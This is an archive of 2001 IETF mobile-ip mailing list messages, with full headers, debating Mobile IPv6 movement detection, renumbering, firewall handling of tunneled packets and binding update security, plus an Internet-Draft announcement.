	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA21717;
	Tue, 20 Nov 2001 01:38:19 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA29686;
	Tue, 20 Nov 2001 01:38:07 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAK9bCLS000272
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 01:37:12 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAK9bBA3000271
	for mobile-ip-dist; Tue, 20 Nov 2001 01:37:11 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAK9b7LS000263
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 01:37:08 -0800 (PST)
Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fAK9avq10220;
	Tue, 20 Nov 2001 10:36:57 +0100 (MET)
Date: Tue, 20 Nov 2001 10:35:55 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] I-D ACTION:draft-nordmark-mobileip-mipv6-hindsight-00.txt
To: Jari Arkko <jari.arkko@kolumbus.fi>
Cc: mobile-ip@sunroof.eng.sun.com, pekkas@netcore.fi,
        Erik Nordmark <Erik.Nordmark@eng.sun.com>
In-Reply-To: "Your message with ID" <019701c17182$0cfbcbc0$8a1b6e0a@arenanet.fi>
Message-ID: <Roam.SIMC.2.0.6.1006248955.22196.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> > Or different routers on the link advertise different prefixes.
> > Or a renumbering is starting by advertising new prefixes (e.g. using
> > the router renumbering RFC)
> > 
> > > In case of multiple advertised prefixes this gets more complicated:
> > >  A) if all prefixes are the same in old and new, see 1)
> > 
> > But can't tell this from receiving a single RA. Need to wait for all the RAs
> > from all the routers.
> 
> Eventually if you renumber you *have* moved in the IP sense, even
> if you still are on the same physical link.

Site renumbering is likely to consist of many steps spread out over some
amount of time - a week wouldn't be unreasonable for a medium size site.
This consists of at least first introducing new prefixes on each link
and at some later point in time retiring the old prefixes.

Triggering movement detection when observing a new prefix being advertised
might just cause undue glitches in communication (due to discarding
the default router list etc) when the old prefixes and default routers
are still doing just fine.

Thus having an explicit movement detection ID instead of overloading other
information gives better control without restricting the operator to using
a single prefix per link.

> But I have a question to Erik. What happens if you renumber, don't
> you need to change the link identifier as well? If no, how do we ensure
> the identifiers stay globally unique? If yes, what do you announce in
> an RA while this renumbering is taking place, the new, old, or both
> identifiers?

The operator decides when to have the visiting MNs pick new CoAs
presumably by deprecating the old prefix (some time after starting to
advertise the new prefix).
Presumably at the same time the new ID would start being advertised.
I guess this case could be "optimized" by allowing multiple IDs per
RA and during the overlap announcing both. That way the MNs can tell
the difference between a movement (no overlap) and renumbering (two IDs in RA
during the overlap).
But I think having the MNs treat that instance of renumbering as a movement
i.e. no optimization should be fine.

There might also be strategies that the routers can use to select the ID 
automatically. The routers, unless explicitly configured otherwise,
can pick the preferred global on-link prefix that they (or some other router
on the link) advertise as the ID.
In that case when a new router comes up it might need to listen for RAs for
a while in order to pick the same ID as the rest of the routers.

 Erik



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 04:53:32 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA03013
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 04:53:32 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA15551;
	Tue, 20 Nov 2001 02:52:13 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA01229;
	Tue, 20 Nov 2001 01:52:20 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAK9pVLS000431
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 01:51:31 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAK9pVgd000430
	for mobile-ip-dist; Tue, 20 Nov 2001 01:51:31 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAK9pQLS000423
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 01:51:27 -0800 (PST)
Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fAK9pIq11921;
	Tue, 20 Nov 2001 10:51:18 +0100 (MET)
Date: Tue, 20 Nov 2001 10:50:20 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] I-D ACTION:draft-nordmark-mobileip-mipv6-hindsight-00.txt
To: Pekka Savola <pekkas@netcore.fi>
Cc: Erik Nordmark <Erik.Nordmark@eng.sun.com>, mobile-ip@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <Pine.LNX.4.33.0111200858140.32232-100000@netcore.fi>
Message-ID: <Roam.SIMC.2.0.6.1006249820.27742.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> Ok, you have a point here.  However, this whole issue seems rather funny
> because MIPv6 re-defined the minimum unsolicited router advertisement
> interval to be ridiculously low.  If two routers advertise the same
> prefix, I don't see why you should need to know (on IP layer) you might
> have moved.  And if the prefix changes, sending the notification to HA
> etc. takes relatively long -- in scenarios where it is expected that MN's
> move quickly, the advertising interval could be set to something like 0.1
> seconds, for example.

Yep. The low interval is intended to be used on link-layers where there
is no reasonable link layer indication that the MN might have moved.
If such an indication exists and is reasoanbly reliable it is better to
have the MNs send a RS when getting that L2 indication.
(But have to be careful to avoid a noisy L2 indication causing a flood of 
RS messages from all MNs.)


> Sorry wrong very unclear wording.  I meant that the packets should have to 
> be distinguishable from regular IPinIP packets in the network (think 
> firewall: "Aha! someone is using route optimization.. well the receiving 
> rules are quite secure, I'll let it through, IPinIP I wouldn't").  But 
> naturally, they would be due to the header value.

Current use of IPinIP tunneling e.g. for VPNs has very strict decapsulation
rules so I don't understand why folks would have these concerns.

What we need to provide are easy means for firewall folks to be able
to distringuish between packets that can potentially cause very different
forms of damage. Thus distiguishing between routing headers and tunneling
makes sense to me.
But distinguishing between tunneling whether used for A or B given that
both A and B have strict rules for when to depcapsulate packets doesn't
sound useful.
(There will always be paranoid people who will not let through anything
but outbound tcp connections to port 80, and we can't make it a design
goal to try to make this look like a http exchange.)
So just don't make it too hard for them to tell different things apart.


> > In any case, I suspect we need rules close to these even independent
> > whether tunneling packet formats are used for mipv6 or whether we use 
> > routing headers and home address options.
> 
> Yes.  Which is why it would be good to consider at more length what makes
> this better (or worse) than the current mechanisms with added security.

Which current mechanisms? The mipv6 draft which says to accept any ha option?

Apart from your draft on rh-ha there is nothing that talks about
the security issues with routing headers and home address options.

I don't this is largely orthogonal to adding security to BU processing.

   Erik




From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 05:05:04 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA03117
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 05:05:03 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA22847;
	Tue, 20 Nov 2001 03:03:46 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA02780;
	Tue, 20 Nov 2001 02:03:51 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKA32LS000569
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 02:03:02 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKA32I3000568
	for mobile-ip-dist; Tue, 20 Nov 2001 02:03:02 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKA2vLS000561
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 02:02:58 -0800 (PST)
Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fAKA2kq13532;
	Tue, 20 Nov 2001 11:02:53 +0100 (MET)
Date: Tue, 20 Nov 2001 11:01:45 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] more about piggybacking.
To: Cedric Westphal <cedric@iprg.nokia.com>
Cc: mobile-ip@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <3BF99D9F.EB48AB63@iprg.nokia.com>
Message-ID: <Roam.SIMC.2.0.6.1006250505.8798.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Your paper on p. 4 talks about "access delay" - is that thepropagation delay
over the  access link or the delay to get access to the link to send a packet?
I.e. it is the same as acquisition delay or something different?

Did you look at the difference  between BU specific piggybacking and
L2 piggybacking? (sending two IP packets in the same L2 frame)

  Erik



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 05:33:18 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA03541
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 05:33:18 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA10856;
	Tue, 20 Nov 2001 03:32:03 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA06373;
	Tue, 20 Nov 2001 02:32:10 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKAVJLS000723
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 02:31:19 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKAVJPn000722
	for mobile-ip-dist; Tue, 20 Nov 2001 02:31:19 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKAVFLS000715
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 02:31:15 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA19774;
	Tue, 20 Nov 2001 02:31:16 -0800 (PST)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA01892;
	Tue, 20 Nov 2001 02:31:06 -0800 (PST)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id fAKAV4C21234;
	Tue, 20 Nov 2001 11:31:04 +0100 (MET)
Received: from lmf.ericsson.se (lmf4ws450.lmf.ericsson.se [131.160.38.50])
	by fogerty.lmf.ericsson.se (8.11.3/8.11.3) with ESMTP id fAKAV3h06519;
	Tue, 20 Nov 2001 12:31:03 +0200 (EET)
Message-ID: <3BFA30E7.A02189A5@lmf.ericsson.se>
Date: Tue, 20 Nov 2001 12:31:03 +0200
From: Jari Arkko <Jari.Arkko@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.77 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Erik.Nordmark@eng.sun.com
CC: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Additional comments on 
 draft-arkko-mipv6-bu-security-00.txt
References: <Roam.SIMC.2.0.6.1005580879.25503.nordmark@bebop.france>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Erik, thanks for your comments. I have some answers below:

> Section 6.4 talks about having a configuration knob to allow
> unsecure BUs. I think this is a big mistake. Instead the WG should
> develop some BU solution that can give some security comparable to
> today's IPv4 security.

I agree! I have recently come to the conclusion myself that
we should not allow unsecure RO at all, and as a minimum should
require one of the weak auth protocols.

> I don't know if the best is to hijack the term "piggybacking" or to define
> a new one. Assuming the former there has been three forms
> of piggybacking discussed:
>  - end2end binding update specific piggybacking
>  - sending link only generic piggybacking
>  - end2end generic piggybacking (being able to send two IP payloads in
>    one IP packet)
> 
> I think it would be fruitful for the WG to compare and contrast the above.
> Some of the arguments for and against BU specific piggybacking
> might actually help drive consensus towards the other forms of piggybacking.

Yes.

> The text in section 7.5 about when to use piggybacking doesn't go into
> the difference between two important cases:
> 1. a new CN is sending packets to the MN and they get tunneled from the HA
> 2. the MN moves and has some CNs in the binding update list

Right. I'll take this in account.

> Section 8.6 says "In the use of existing IPsec ..."  but doesn't mention
> that IKE would need to establish a SA using the Home Address by sending packets
> to the Home Address. So while this doesn't change any packet formats it does
> introduce a small behavioral change in an IKE implementation I think.

Wouldn't this work the same way as any TCP or UDP application, i.e.
to them the CoAs are invisible?

Jari


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 05:42:48 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA03612
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 05:42:48 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA11089;
	Tue, 20 Nov 2001 02:41:39 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA07556;
	Tue, 20 Nov 2001 02:41:16 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKAebLS000862
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 02:40:37 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKAebAv000861
	for mobile-ip-dist; Tue, 20 Nov 2001 02:40:37 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKAeXLS000853
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 02:40:33 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA20498;
	Tue, 20 Nov 2001 02:40:34 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA15640;
	Tue, 20 Nov 2001 03:40:15 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fAKAeVH01602;
	Tue, 20 Nov 2001 12:40:31 +0200
Date: Tue, 20 Nov 2001 12:40:31 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <mobile-ip@sunroof.eng.sun.com>
cc: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] I-D ACTION:draft-nordmark-mobileip-mipv6-hindsight-00.txt
In-Reply-To: <Roam.SIMC.2.0.6.1006249820.27742.nordmark@bebop.france>
Message-ID: <Pine.LNX.4.33.0111201230260.1454-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

On Tue, 20 Nov 2001, Erik Nordmark wrote:
> What we need to provide are easy means for firewall folks to be able
> to distringuish between packets that can potentially cause very different
> forms of damage. Thus distiguishing between routing headers and tunneling
> makes sense to me.

Yes.

> But distinguishing between tunneling whether used for A or B given that
> both A and B have strict rules for when to depcapsulate packets doesn't
> sound useful.

We're in agreement here.

> > > In any case, I suspect we need rules close to these even independent
> > > whether tunneling packet formats are used for mipv6 or whether we use 
> > > routing headers and home address options.
> > 
> > Yes.  Which is why it would be good to consider at more length what makes
> > this better (or worse) than the current mechanisms with added security.
> 
> Which current mechanisms? The mipv6 draft which says to accept any ha option?
> 
> Apart from your draft on rh-ha there is nothing that talks about
> the security issues with routing headers and home address options.
> 
> I don't this is largely orthogonal to adding security to BU processing.

Well, IMO the possibilities are:

1) "Accept anything" 
2.a) "Retrofit existing mechanism for security"
2.b) "Redesign more logically and securely"

I've tried hard to get requirements that would disallow 1) to the 
SecReqs.. perhaps that'll come in the next revision...

If the total obtained security between 2.a) and 2.b) is roughly the same
(or could be roughly the same), the focus turns to other issues, such as:

 - which is already implemented and tested
 - which looks better and "more right"
 - etc. etc.

Assuming we'd have to either enhance RH/HAO or to revamp the mechanism
completely, which benefits (and drawbacks) would there be for each?  The
benefits wrt. "accept anything" are interesting (and mostly already
covered), but not a deciding factor here.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords




From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 07:16:39 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA05160
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 07:16:39 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA07557;
	Tue, 20 Nov 2001 04:14:43 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA15566;
	Tue, 20 Nov 2001 04:14:30 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKCDZLS001063
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 04:13:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKCDZK4001062
	for mobile-ip-dist; Tue, 20 Nov 2001 04:13:35 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKCDVLS001055
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 04:13:31 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA01681
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 04:13:10 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA12161
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 05:13:13 -0700 (MST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA04578;
	Tue, 20 Nov 2001 07:13:27 -0500 (EST)
Message-Id: <200111201213.HAA04578@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
CC: mobile-ip@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Subject: [mobile-ip] I-D ACTION:draft-montenegro-mobileip-mipv6-seceval-00.txt
Date: Tue, 20 Nov 2001 07:13:26 -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: MIPv6 Security: Assessment of Proposals
	Author(s)	: G. Montenegro, A. Petrescu
	Filename	: draft-montenegro-mobileip-mipv6-seceval-00.txt
	Pages		: 24
	Date		: 19-Nov-01
	
The IESG has identified several security issues with the
current Mobile IPv6 specification [MIPv6]. A subsequent effort
[MIPv6SecReq] details the security threats introduced by
MIPv6. Two major issues are (1) how to obtain a security
association between an arbitrary MN and CN such that the
binding update (BU) is secure, and, assuming such a mechanism
is in place, (2) how to secure the individual BU messages.
This document is an assessment of the proposed solutions for
problem (1).

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-montenegro-mobileip-mipv6-seceval-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-montenegro-mobileip-mipv6-seceval-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-montenegro-mobileip-mipv6-seceval-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011119140717.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-montenegro-mobileip-mipv6-seceval-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-montenegro-mobileip-mipv6-seceval-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011119140717.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 07:22:23 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA05265
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 07:22:23 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA16432;
	Tue, 20 Nov 2001 05:20:49 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA16671;
	Tue, 20 Nov 2001 04:20:50 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKCK8LS001186
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 04:20:08 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKCK8kX001185
	for mobile-ip-dist; Tue, 20 Nov 2001 04:20:08 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKCK4LS001178
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 04:20:04 -0800 (PST)
Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fAKCJfq26923;
	Tue, 20 Nov 2001 13:19:41 +0100 (MET)
Date: Tue, 20 Nov 2001 13:18:45 +0100 (CET)
